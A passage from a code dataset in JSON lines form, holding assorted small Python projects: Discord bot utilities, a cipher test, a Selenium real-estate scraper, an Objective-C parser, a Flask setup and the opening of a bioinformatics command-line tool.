str_ref.lower().startswith(str_find.lower())\n\ndef get_full_path(song):\n for full_path in glob.iglob(path.join(MIDI_FILES_HOME, '*', '*' + MID_EXT), recursive=True):\n if is_matching(path.basename(full_path), song):\n return full_path\n\ndef search_song(song):\n print(f\"Searching {song}...\")\n available_songs = list_available_songs()\n matching_songs = [s for s in available_songs if is_matching(s, song)]\n print(f\"Matching songs : {matching_songs}\")\n return matching_songs\n\ndef list_songs(args):\n available_categories = list_available_categories()\n\n if len(args) > 0:\n if args[0] in available_categories:\n categories = [args[0]]\n else:\n yield f\"No such category : ``{args[0]}``.\"\n return\n else:\n categories = available_categories\n\n yield \"Songs:\"\n for cat in categories:\n yield f\"> {cat}:\"\n cat_dir = path.join(MIDI_FILES_HOME, cat)\n files = list_available_songs_in_category(cat_dir)\n yield '```css\\n' + '- ' + '\\n- '.join(files) + '```'\n\ndef list_playlists(args):\n available_categories = list_available_categories()\n yield 'Playlists:\\n```css\\n' + '- ' + '\\n- '.join(available_categories) + '```'\n\ndef list_available_songs():\n available_songs = []\n for cat in list_available_categories():\n cat_dir = path.join(MIDI_FILES_HOME, cat)\n available_songs += list_available_songs_in_category(cat_dir)\n return available_songs\n\ndef list_available_songs_in_category(cat_dir):\n return [f for f in os.listdir(cat_dir) if path.isfile(path.join(cat_dir, f)) and f.endswith(MID_EXT)]\n\ndef list_available_categories():\n return [dir for dir in os.listdir(MIDI_FILES_HOME) if path.isdir(path.join(MIDI_FILES_HOME, dir))]\n","repo_name":"dur-dabla/Firbot","sub_path":"firbot/cogs/midiplayer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34333959210","text":"import random, sys, Transposition.transpositionEncrypt as E, \\\n Transposition.transpositionDecrypt as D\n\n\ndef main():\n random.seed(42)\n\n for i in range(20):\n # random length\n msg = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' * random.randint(4, 40)\n # msg = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n msg = list(msg)\n # shuffle\n random.shuffle(list(msg))\n msg = ''.join(msg)\n\n print(f'#{i} Origin: {msg}')\n for key in range(1, len(msg)):\n encrypted = E.encrypt_msg(key, msg)\n decrypted = D.decrypt_msg(key, encrypted)\n if msg != decrypted:\n print(f'Mismatch with key {key} and msg {msg}')\n print('encrypted: ' + encrypted)\n print('decrypted: ' + decrypted)\n sys.exit()\n print('Transposition cipher all passed')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"a1exlism/HackingSecretCiphersWithPy","sub_path":"Transposition/EDtest.py","file_name":"EDtest.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"24890259507","text":"import urllib.parse as urlparse\nfrom urllib.parse import urlencode\n\n\ndef encode_query_params(url, params):\n \"\"\" Returns URL with query string attached to it \"\"\"\n parts = list(urlparse.urlparse(url))\n query = dict(urlparse.parse_qs(parts[4]))\n query.update(params)\n parts[4] = urlencode(query)\n return urlparse.urlunparse(parts)\n\n\ndef convert_list_to_string(list_arg, sep=\",\"):\n \"\"\" Items must be a string or integer, they are cast to string before storage\"\"\"\n \"\"\" Items can also not be falsey, so 0 and '' would be stripped, hence \"and x\" \"\"\"\n if type(list_arg) is str:\n return list_arg\n\n if type(list_arg) is int:\n return str(list_arg)\n\n try:\n accepted = [str(x) for x in list_arg if (type(x) in [str, int] and x)]\n return sep.join(accepted.__iter__())\n except TypeError:\n raise\n","repo_name":"rsfxiii/tcgplayer-python","sub_path":"tcgplayer/src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"74892357632","text":"import os\nimport pandas as pd\nfolder = \"./data\"\n\nimport csv\n\ndata = pd.DataFrame()\nfor file in os.listdir(folder):\n if file.endswith(\".csv\"):\n x = pd.read_csv(os.path.join(folder, file), low_memory=False, sep=';')\n data = pd.concat([data,x],axis=0)\n\ndata = data.sort_values(by=[\"timestamp\"], ascending=True)\ndata[\"url\"] = data[\"url\"].astype('string').fillna(\"\")\ndata[\"request\"] = data[\"request\"].astype('string').fillna(\"\")\ndata[\"response\"] = data[\"response\"].astype('string').fillna(\"\")\ndata[\"message\"] = data[\"message\"].astype('string').fillna(\"\")\ndata[\"status\"] = data[\"status\"].fillna(0).astype('int32')\ndata[\"elapsed\"] = data[\"elapsed\"].fillna(0)\n\nwith open(\"./summary.csv\", 'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=';')\n writer.writerow([\"timestamp\", \"url\", \"status\", \"elapsed\", \"request\", \"response\", \"message\"])\n for _, row in data.iterrows():\n writer.writerow(row)\n","repo_name":"d-eremina/PAMiSE-parsing","sub_path":"logs/aggregator.py","file_name":"aggregator.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71324700351","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 6 11:55:09 2020\n\n@author: DELL\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport sys\n\n# inserting data \ndf = pd.read_csv(\"data.csv\")\n# print(df.head())\n\n# Get the unique values of 'B' column \nunique_jobs = df.job.unique() \n# print(unique_jobs)\nprofession = str(sys.argv[1])\n# Checking if profession exists in unique_jobs \n# using in \nif (profession in unique_jobs): \n print (\"Profession exists in unique job list\") \nelse:\n print (\"Profession not exists in unique job list\") \n\n ","repo_name":"Leovattoly/Python-intermediate-works","sub_path":"Bank_data/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71397429630","text":"from itertools import product\nN, M = [int(i) for i in input().split()]\nconditions = [[int(i) for i in input().split()] for _ in range(M)]\nK = int(input())\npeople = [[int(i) for i in input().split()] for _ in range(K)]\n# brute force every combination\nmaximum_amount = 0\nfor roll in product([0, 1], repeat = K):\n\n index = 0\n temp = set()\n count = 0\n while True:\n\n temp.add(people[index][roll[index]])\n index += 1\n if index == K:\n break\n for x,y in conditions:\n if x in temp and y in temp:\n count += 1\n maximum_amount = max(maximum_amount, count)\nprint(maximum_amount)\n\n\n","repo_name":"anthonyouch/Competitive-Programming-","sub_path":"abc190/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73326945791","text":"import random\nfrom time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport csv\n\n\n# Acá entro a la página semilla\n# -------------------------------------------------------\noptions = Options()\noptions.add_argument(\n \"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\"\n)\n\n# options.add_argument(\"--headless\")\n\ndriver = webdriver.Chrome(options=options)\ndriver.get(\n \"https://inmuebles.mercadolibre.com.mx/casas/venta/oaxaca/oaxaca-de-juarez/#applied_filter_id%3DPROPERTY_TYPE%26applied_filter_name%3DInmueble%26applied_filter_order%3D1%26applied_value_id%3D242060%26applied_value_name%3DCasas%26applied_value_order%3D1%26applied_value_results%3D16%26is_custom%3Dfalse\"\n)\ndriver.maximize_window()\n\n# Espero unos segundos después de que cargue la página\nsleep(random.uniform(3.0, 5.0))\n\n\nwith open(\"casas_mercadoLibre.csv\", mode=\"w\", newline=\"\", encoding=\"utf-8\") as file:\n writer = csv.writer(file)\n\n # Escribo la primera fila con los nombres de las columnas\n writer.writerow(\n [\n \"title\",\n \"seller\",\n \"property_type\",\n \"address\",\n \"price\",\n \"bedrooms\",\n \"bathrooms\",\n \"built_Area\",\n \"land_Area\",\n \"parking\",\n \"description\",\n ]\n )\n\n # Acá me muevo a las pestañas donde están mis datos y los extraigo\n # -------------------------------------------------------------------\n reviews = driver.find_elements(By.XPATH, \"//li[@class='ui-search-layout__item']\")\n\n for review in reviews:\n try:\n # Me ubico en la parte en donde está el link para abrir la pesataña del usuario\n userLink = review\n sleep(random.uniform(3.0, 6.0))\n\n # Le doy click para abrir la pestaña\n userLink.click()\n\n # Me muevo a la nueva pestaña\n driver.switch_to.window(driver.window_handles[1])\n\n # Doy click al botón para cargar la sección con los datos a extraer\n boton_info = driver.find_element(\n By.XPATH, \"//span[@class='ui-pdp-collapsable__action']\"\n )\n driver.execute_script(\"arguments[0].scrollIntoView();\", boton_info)\n WebDriverWait(driver, 10).until(EC.element_to_be_clickable(boton_info))\n sleep(random.uniform(1.0, 2.0))\n boton_info.click()\n\n sleep(random.uniform(1.0, 2.0))\n\n # Extraigo los datos\n try:\n title = driver.find_element(\n By.XPATH, \"//h1[@class='ui-pdp-title']\"\n ).text\n title = (\n title.replace(\"\\n\", \"\").replace(\"\\t\", \"\").replace(\"\\r\", \"\").strip()\n )\n except:\n title = None\n\n seller = \"MercadoLibre\"\n seller.strip()\n\n try:\n property_type = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Tipo de casa']]/td/span\",\n ).text\n property_type = property_type.strip()\n except:\n property_type = None\n\n try:\n address = driver.find_element(\n By.XPATH,\n \"//div[@id='location']//div[@class='ui-pdp-media__body']/p\",\n ).text\n address = address.strip()\n except:\n address = None\n\n try:\n price = driver.find_element(\n By.XPATH, \"//div[@class='ui-pdp-price__second-line']/span/span[3]\"\n ).text\n price = (\n price.replace(\"$\", \"\").replace(\",\", \"\").replace(\"MXN\", \"\").strip()\n )\n except:\n price = None\n\n try:\n bedrooms = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Recámaras']]/td/span\",\n ).text\n bedrooms = bedrooms.strip()\n except:\n bedrooms = None\n\n try:\n bathrooms = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Baños']]/td/span\",\n ).text\n bathrooms = bathrooms.strip()\n except:\n bathrooms = None\n\n try:\n built_area = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Superficie construida']]/td/span\",\n ).text\n built_area = built_area.replace(\"m²\", \"\").strip()\n except:\n built_area = None\n\n try:\n land_area = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Superficie total']]/td/span\",\n ).text\n land_area = land_area.replace(\"m²\", \"\").strip()\n except:\n land_area = None\n\n try:\n parking = driver.find_element(\n By.XPATH,\n \"//tr[@class='andes-table__row ui-vpp-striped-specs__row' and th/div[text()='Estacionamientos']]/td/span\",\n ).text\n parking = parking.strip()\n except:\n parking = None\n\n try:\n description = driver.find_element(\n By.XPATH, \"//div[@class='ui-pdp-description']/p\"\n ).text\n description = (\n description.replace(\"\\n\", \"\")\n .replace(\"\\t\", \"\")\n .replace(\"\\r\", \"\")\n .strip()\n )\n except:\n description = None\n\n print(\"title\", title)\n print(\"seller\", seller)\n print(\"property_type\", property_type)\n print(\"address\", address)\n print(\"price\", price)\n print(\"bedrooms\", bedrooms)\n print(\"bathrooms\", bathrooms)\n print(\"built_area\", built_area)\n print(\"land_area\", land_area)\n print(\"parking\", parking)\n print(\"description\", description, end=\"\\n\\n\")\n\n # Escribe una fila en el archivo CSV\n writer.writerow(\n [\n title,\n seller,\n property_type,\n address,\n price,\n bedrooms,\n bathrooms,\n built_area,\n land_area,\n parking,\n description,\n ]\n )\n\n # Ya que extraje todos los reviews del usuario, cierro la pestaña\n driver.close()\n sleep(random.uniform(2.0, 4.0))\n driver.switch_to.window(driver.window_handles[0])\n\n except Exception as e:\n print(e)\n driver.switch_to.window(driver.window_handles[0])\n","repo_name":"MarioRoFe/Prediccion-precios-inmobiliaria","sub_path":"web_scraping/mercadolibre_selenium.py","file_name":"mercadolibre_selenium.py","file_ext":"py","file_size_in_byte":7551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20232059132","text":"import os\nimport itertools\nfrom itertools import chain\nimport re\nimport fixer\n\ndef flatten(listOfLists):\n return chain.from_iterable(listOfLists)\n\ndef ident(x):\n return x.replace('IDENT', '[a-zA-Z_][a-zA-Z0-9_]*')\n\n# @interface regex\ninterface_re = re.compile(ident(r'@interface\\s+(IDENT)\\s*(\\:\\s*(IDENT)(<(IDENT)>)?|\\(\\s*(IDENT)\\s*\\)|\\(\\))([\\s\\S]+?)@end(\\b|$)'), re.MULTILINE) # Do people really define their own base classes?\n\n# @implementation regex\nimplementation_re = re.compile(ident(r'@implementation\\s+(IDENT)\\s*((\\(\\s*(IDENT)\\s*\\)|\\(\\))?)([\\s\\S]+?)@end(\\b|$)'), re.MULTILINE)\n\n# #import/#include regex\nimport_re = re.compile(r'\\s*#\\s*(import|include)\\s*[\"<]([^\">\\n]+)[\">]', re.MULTILINE)\n\n# @class regex\nclass_re = re.compile(ident(r'@class\\s*((IDENT)(\\s*,\\s*IDENT)*)\\s*;'), re.MULTILINE)\n\n# Method definition/declaration regex\nmethod_re = r'^\\s*([+\\-][a-zA-Z0-9&$:()^*\\[\\]<>\\s]+)'\nmethod_def_re = re.compile(method_re + r'\\{', re.MULTILINE)\nmethod_dec_re = re.compile(method_re + r';', re.MULTILINE)\n\n# Message send regex\nmessage_re = re.compile(r'...', re.MULTILINE)\n\n# Signature regex\n\n# - (void) foo :a bar:b baz:c ;\nsig_re = re.compile(ident(r'IDENT\\:'))\n# - (void) foo ;\nbasic_sig_re = re.compile(ident(r'(IDENT)\\s*$'))\n\ndef parse(root, files):\n return chain(\n flatten(parsefile(root, f, False) for f in files[\"imp_paths\"]),\n flatten(parsefile(root, f, True) for f in files[\"header_paths\"])\n )\n\ndef find_uses(root, subpath, symbol_names):\n # Attempt to read the file\n try:\n path = os.path.join(root, subpath)\n contents = open(path, 'r').read()\n if not contents:\n return set()\n except Exception:\n return set()\n \n # Make our regex\n r = re.compile(r'(^|[^\\w\\d])(%s)($|[^\\w\\d])' % ('|'.join(map(re.escape, symbol_names))))\n \n return set(x[1] for x in r.findall(contents))\n\ndef find_includes(root, subpath):\n # Attempt to read the file\n try:\n path = os.path.join(root, subpath)\n contents = open(path, 'r').read()\n if not contents:\n return {'#import':[], '@class':[]}\n except Exception:\n return {'#import':[], '@class':[]}\n \n imports = import_re.findall(contents)\n classes = class_re.findall(contents)\n \n at_class_lines_gen = (fixer.stripsplit(at_class_line[0], ',') for at_class_line in classes)\n at_class_lines = sum(at_class_lines_gen, [])\n \n return {\n '#import': [x[1] for x in imports],\n '@class': at_class_lines,\n }\n \n\ndef parsefile(root, subpath, isheader): \n # Attempt to read the file\n try:\n path = os.path.join(root, subpath)\n contents = open(path, 'r').read()\n if not contents:\n return []\n except Exception:\n return []\n \n defs = []\n \n # If this is not a header, find all @implementations\n if not isheader:\n imps = re.findall(implementation_re, contents)\n for imp in imps:\n impname = imp[0]\n imprawkind = imp[1]\n if imprawkind == '':\n impkind = ''\n elif imprawkind == '()':\n impkind = '()'\n else:\n impkind = imp[3] \n \n impbody = imp[4] \n defs.append(parseimp(subpath, impname, impkind, impbody))\n \n # Find any interfaces\n intfs = re.findall(interface_re, contents)\n for intf in intfs:\n intfname = intf[0]\n intfrawkind = intf[1].rstrip()\n intfbody = intf[6]\n defs.append(parseinterface(subpath, intfname, intfrawkind, intfbody))\n \n return defs\n\n## TODO\n## Handle categories differently to classes\n## Categories should have a name of 'ClassName (CategoryName)'\n## Add a new basename key that's just for ClassName\n\ndef parseimp(subpath, name, kind, body):\n # Find methods in body\n matches = re.findall(method_def_re, body)\n parsedmethods = []\n if matches:\n parsedmethods = [parsemeth(meth) for meth in matches]\n \n subtype = 'normal'\n category_name = ''\n if kind == '':\n pass\n elif kind == '()':\n subtype = 'extension'\n else:\n subtype = 'category'\n category_name = kind\n \n fullname = name\n if subtype == 'category':\n fullname = '%s (%s)' % (name, category_name)\n \n return {\n 'type': '@implementation',\n 'basename': name,\n 'name': fullname,\n 'methods': parsedmethods,\n 'kind': kind,\n 'subtype': subtype,\n 'category_name': category_name,\n 'selectors': set(selector_from_signature(sig) for sig in parsedmethods),\n 'subpath': subpath,\n 'body': body,\n # synthesizes: synthesizes\n }\n\ndef parseinterface(subpath, name, kind, body):\n # Find methods in body\n matches = re.findall(method_dec_re, body)\n parsedmethods = []\n if matches:\n parsedmethods = [parsemeth(meth) for meth in matches]\n \n subtype = 'normal'\n category_name = ''\n superclass_name = ''\n if not kind:\n pass\n elif kind[0] == '(':\n subtype = 'category'\n category_name = kind[1:-1].strip()\n if not category_name:\n subtype = 'extension'\n elif kind[0] == ':':\n superclass_name = kind[1:].strip()\n \n fullname = name\n if subtype == 'category':\n fullname = '%s (%s)' % (name, category_name)\n \n return {\n 'type': '@interface',\n 'basename': name,\n 'name': fullname,\n 'methods': parsedmethods,\n 'kind': kind,\n \n 'subtype': subtype,\n 'category_name': category_name,\n 'superclass_name': superclass_name,\n \n 'selectors': set(selector_from_signature(sig) for sig in parsedmethods),\n 'subpath': subpath,\n 'body': body,\n # synthesizes: synthesizes\n }\n\ndef parsemeth(methgroup):\n return ' '.join(methgroup.rstrip().split())\n\ndef selector_from_signature(sig):\n sig = sig.lstrip()\n \n comps = re.findall(sig_re, sig)\n if not comps:\n comps = [re.findall(basic_sig_re, sig)[-1]]\n return (sig[0]) + ''.join(comps)\n","repo_name":"atg/objcfix","sub_path":"source/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6114,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"34638658110","text":"import eventlet\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bcrypt import Bcrypt\nfrom flask_login import LoginManager\nfrom flask_socketio import SocketIO\nfrom dotenv import load_dotenv\nimport os\nimport pytz\nfrom datetime import datetime\neventlet.monkey_patch()\n\n# Environment variables\ndotenv_path = os.path.join(os.path.dirname(__file__), './.env')\nload_dotenv(dotenv_path)\nSECRET_KEY = os.getenv('FLASK_SECRET')\n\napp = Flask(__name__)\napp.secret_key = SECRET_KEY\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.templates_auto_reload = True\n\n\n# Time zone formatting\ndef suffix(d):\n return (\n 'th'\n if 11 <= d <= 13\n else {1: 'st', 2: 'nd', 3: 'rd'}.get(d % 10, 'th'))\n\n\ndef custom_strftime(format, t):\n return (\n t.strftime(format)\n .replace('{S}', str(t.day) + suffix(t.day))\n .replace('{Y}', '' if datetime.now().year == t.year else f' {t.year}'))\n\n\ndef datetimefilter(value):\n tz = pytz.timezone('America/Los_Angeles')\n utc = pytz.timezone('UTC')\n value = utc.localize(value, is_dst=None).astimezone(pytz.utc)\n local_dt = value.astimezone(tz)\n return custom_strftime('%A, %b {S}{Y} %H:%M %p', local_dt)\n\n\napp.jinja_env.filters['datetimefilter'] = datetimefilter\n\n# Security\nbcrypt = Bcrypt(app)\nlogin_manager = LoginManager(app)\nlogin_manager.login_view = 'login'\nlogin_manager.login_message_category = 'warning'\nlogin_manager.login_message = 'Signup is disabled at this time'\n\n# Database\napp.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASE_URL')\ndb = SQLAlchemy(app)\n\n# SocketIO\nsocket = SocketIO(app)\n\nfrom booker import routes # noqa\n","repo_name":"theogz/jump-booker","sub_path":"booker/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15531006997","text":"#!/usr/bin/env python3\n'''\nThis script attempts to use a work queue available to the children processes of\na pool.\n'''\n\nimport multiprocessing as mp\nimport queue\nimport time\nfrom functools import partial\nfrom contextlib import closing\n\nclass QueuePool:\n def __init__(self, work_q):\n self.work_q = work_q\n self.return_q = mp.SimpleQueue()\n\n def map(func, iterable, chunksize=None):\n self.work_q.put((self.return_q, func, iterable))\n return self.return_q.get()\n\ndef factorial(n):\n if n <= 1: return 1\n return n * factorial(n-1)\n\ndef worker(q_pool, value):\n mapper = q_pool.map\n return mapper(factorial, [value] * 10)\n\ndef main():\n with closing(mp.Pool()) as work_pool, \\\n closing(mp.Pool()) as job_pool, \\\n closing(mp.Queue()) as work_q:\n\n async_result = job_pool.map_async(\n worker, [(QueuePool(work_q), x) for x in [1000, 5000, 10000]])\n while not async_result.ready():\n try:\n return_q, func, iterable = work_q.get_nowait()\n except queue.Empty:\n time.sleep(0.1)\n else:\n return_q.put(work_pool.map(func, iterable))\n\n result = async_result.get()\n\n for value in result:\n print(value)\n\nif __name__ == '__main__':\n main()\n","repo_name":"mikebentley15/sandbox","sub_path":"python/multiprocessing/subprocess_work_queue.py","file_name":"subprocess_work_queue.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"24382115744","text":"import random\nimport asyncio\n\nfrom discord.ext import commands\nimport discord\nimport typing\n\n\n# https://github.com/Rapptz/discord.py/blob/v1.7.2/examples/guessing_game.py\nclass GuessingGame(commands.Cog, name=\"Guessing game\"):\n def __init__(self, bot):\n self.bot = bot\n \n async def tick(self, ctx, correct):\n emoji = '\\N{WHITE HEAVY CHECK MARK}' if correct else '\\N{CROSS MARK}'\n try:\n await ctx.message.add_reaction(emoji)\n except discord.HTTPException:\n pass\n\n @commands.command(\n name='guess_now',\n help='Guess a random number from 1-9',\n )\n async def guess_now(self, ctx, num: int):\n answer = random.randint(1, 9)\n correct = num == answer\n await self.tick(ctx, correct)\n await ctx.reply('Correct!' if correct else f'Incorrect. The answer is {answer}', mention_author=True)\n\n @commands.command(\n name='guess',\n help='Guess a random number between 1-99 or a provided range.'\n )\n async def guess(self, ctx, start: typing.Optional[int] = 1, end: typing.Optional[int]= 99):\n await ctx.send(f'Guess a number between {start}-{end}')\n\n def is_correct(m):\n return m.author == ctx.message.author and m.content.isdigit()\n\n answer = random.randint(start, end)\n\n try:\n guess = await self.bot.wait_for('message', check=is_correct, timeout=5.0)\n except asyncio.TimeoutError:\n return await ctx.reply(f'Sorry, you took too long. The answer is {answer}')\n \n correct = int(guess.content) == answer\n await self.tick(ctx, correct)\n await ctx.reply('Correct!' if correct else f'Incorrect. The answer is {answer}', mention_author=True)\n\n\n\n\n\ndef setup(bot):\n bot.add_cog(GuessingGame(bot))\n","repo_name":"bk62/basic-discord-bot","sub_path":"extensions/guessing_game.py","file_name":"guessing_game.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"32584746264","text":"# Solicitar al usuario ingresar su salario anual y el número de años de empleo actual\r\nsalario_anual = float(input(\"Ingresa tu salario anual: \"))\r\naños_empleo = int(input(\"Ingresa el número de años de empleo actual: \"))\r\n\r\n# Verificar el salario y los años de empleo utilizando el operador \"OR\"\r\nif salario_anual > 30000 or años_empleo >= 2:\r\n print(\"Préstamo aprobado.\")\r\nelse:\r\n print(\"Préstamo no aprobado.\")\r\n ","repo_name":"sneyker408/python_2doCiclo","sub_path":"Ejercicio14.py.py","file_name":"Ejercicio14.py.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10140365426","text":"#!/usr/bin/env python3\n\nimport sys\nimport os\nimport argparse\nimport csv\nimport site\nimport shutil\nimport json\n\nimport nerpa_init\nnerpa_init.init()\n\n\nsite.addsitedir(nerpa_init.python_modules_dir)\n\nimport predictions_preprocessor\nimport nerpa_utils\nimport handle_rban\nimport logger\n\n# for detecting and processing antiSMASH v.5 output\nsite.addsitedir(os.path.join(nerpa_init.python_modules_dir, 'NRPSPredictor_utils'))\nfrom NRPSPredictor_utils.json_handler import get_main_json_fpath\nfrom NRPSPredictor_utils.main import main as convert_antiSMASH_v5\n\n\ndef parse_args(log):\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)\n genomic_group = parser.add_argument_group('Genomic input', 'Genomes of NRP-producing organisms (i.e. BGC predictions)')\n genomic_group.add_argument(\"--antismash_output_list\", dest=\"antismash_out\",\n help=\"file with list of paths to antiSMASH output directories\", type=str)\n genomic_group.add_argument(\"--antismash\", \"-a\", dest=\"antismash\", action='append',\n help=\"single antiSMASH output directory or directory with many antiSMASH outputs\")\n genomic_group.add_argument(\"--sequences\", dest=\"seqs\", help=\"GenBank/EMBL/FASTA file containing DNA sequences\")\n\n struct_group = parser.add_argument_group('Chemical input', 'Structures of NRP molecules')\n struct_input_group = struct_group.add_mutually_exclusive_group()\n struct_input_group.add_argument(\"--rban-json\", dest=\"rban_output\",\n help=\"json file with rBAN-preprocessed NRP structures\", type=str)\n struct_input_group.add_argument(\"--smiles\", dest=\"smiles\", nargs='*',\n help=\"string (or several strings) with structures in the SMILES format\", type=str)\n struct_input_group.add_argument(\"--smiles-tsv\", dest=\"smiles_tsv\",\n help=\"multi-column file containing structures in the SMILES format\", type=str)\n struct_group.add_argument(\"--col-smiles\", dest=\"col_smiles\",\n help=\"column name in smiles-tsv for structures in the SMILES format [default: 'SMILES']\",\n type=str, default='SMILES')\n struct_group.add_argument(\"--col-id\", dest=\"col_id\",\n help=\"column name in smiles-tsv for structure identifier (if not provided, row index will be used)\",\n type=str)\n struct_group.add_argument(\"--sep\", dest=\"sep\",\n help=\"column separator in smiles-tsv\", type=str, default='\\t')\n\n advanced_input_group = parser.add_argument_group('Advanced input', 'Preprocessed BGC predictions and NRP structures in custom Nerpa-compliant formats')\n advanced_input_group.add_argument(\"--predictions\", \"-p\", nargs=1, dest=\"predictions\",\n help=\"file with paths to preprocessed BGC prediction files\", type=str)\n advanced_input_group.add_argument(\"--structures\", \"-s\", dest=\"structures\",\n help=\"file with Nerpa-preprocessed NRP structures\", type=str)\n advanced_input_group.add_argument(\"--configs_dir\", help=\"custom directory with adjusted Nerpa configs\", action=\"store\", type=str)\n advanced_input_group.add_argument(\"--force-existing-outdir\", dest=\"output_dir_reuse\", action=\"store_true\", default=False,\n help=\"don't crash if the output dir already exists\")\n\n # parser.add_argument(\"--insertion\", help=\"insertion score [default=-2.8]\", default=-2.8, action=\"store\")\n # parser.add_argument(\"--deletion\", help=\"deletion score [default=-5]\", default=-5, action=\"store\")\n parser.add_argument('--rban-monomers-db', dest='rban_monomers', type=str, default=None,\n help='file with custom monomers in rBAN compatible format')\n parser.add_argument(\"--process-hybrids\", dest=\"process_hybrids\", action=\"store_true\", default=False,\n help=\"process NRP-PK hybrid monomers (requires use of rBAN)\")\n parser.add_argument('--antismash-path', dest='antismash_path', type=str, default=None,\n help='path to antismash source directory')\n parser.add_argument(\"--threads\", default=1, type=int, help=\"number of threads for running Nerpa\", action=\"store\")\n parser.add_argument(\"--output_dir\", \"-o\", help=\"output dir [default: nerpa_results/results_]\",\n type=str, default=None)\n\n parsed_args = parser.parse_args()\n\n validate_arguments(parsed_args, parser, log)\n return parsed_args\n\n\ndef check_tsv_ids_duplicates(reader, col_id):\n from collections import defaultdict\n counts = defaultdict(int)\n for row in reader:\n counts[row[col_id]] += 1\n duplicates = [(k, v) for k,v in counts.items() if v > 1]\n return duplicates\n\n\nclass ValidationError(Exception):\n pass\n\n\ndef validate(expr, msg=''):\n if not expr:\n raise ValidationError(msg)\n\n\ndef validate_arguments(args, parser, log):\n try:\n if not (args.predictions or args.antismash or args.antismash_out or args.seqs):\n raise ValidationError(f'one of the arguments --predictions --antismash/-a --antismash_output_list '\n f'--sequences is required')\n if args.predictions and (args.antismash or args.antismash_out or args.seqs):\n raise ValidationError(f'argument --predictions: not allowed with argument --antismash/-a '\n f'or --antismash_output_list or --sequences')\n if not (args.structures or args.smiles or args.smiles_tsv or args.rban_output):\n raise ValidationError(f'one of the arguments --rban-json --smiles-tsv --smiles --structures/-s'\n f'is required')\n if args.structures and (args.smiles or args.smiles_tsv or args.rban_output):\n raise ValidationError('argument --structures/-s: not allowed with argument --rban-json or --smiles '\n 'or --smiles-tsv')\n if args.smiles_tsv:\n try:\n with open(args.smiles_tsv, newline='') as f_in:\n reader = csv.DictReader(f_in, delimiter=args.sep, quoting=csv.QUOTE_NONE)\n validate(args.col_smiles in reader.fieldnames,\n f'Column \"{args.col_smiles}\" was specified but does not exist in {args.smiles_tsv}.')\n if args.col_id:\n validate(args.col_id in reader.fieldnames,\n f'Column \"{args.col_id}\" was specified but does not exist in {args.smiles_tsv}.')\n duplicates = check_tsv_ids_duplicates(reader, args.col_id)\n validate(len(duplicates) == 0, f'Duplicate IDs are found: {duplicates}')\n except FileNotFoundError:\n raise ValidationError(f'No such file: \"{args.smiles_tsv}\".')\n except csv.Error as e:\n raise ValidationError(f'Cannot parse \"{args.smiles_tsv}\": {e}.')\n except Exception as e:\n raise ValidationError(f'Invalid input file \"{args.smiles_tsv}\": {e}.')\n\n except ValidationError as e:\n parser.print_help()\n error_msg = f'{e}\\n' if str(e) else 'Options validation failed!'\n log.error(error_msg, to_stderr=True)\n\n\ndef validate_rban_output(path_to_rban_input, path_to_rban_output):\n \"\"\"\n Checks whether the output is produced. Needed since rBAN silently crashes on certain inputs.\n\n :param path_to_rban_input: rban input json\n :param path_to_rban_output: rban output json\n :return:\n \"\"\"\n with 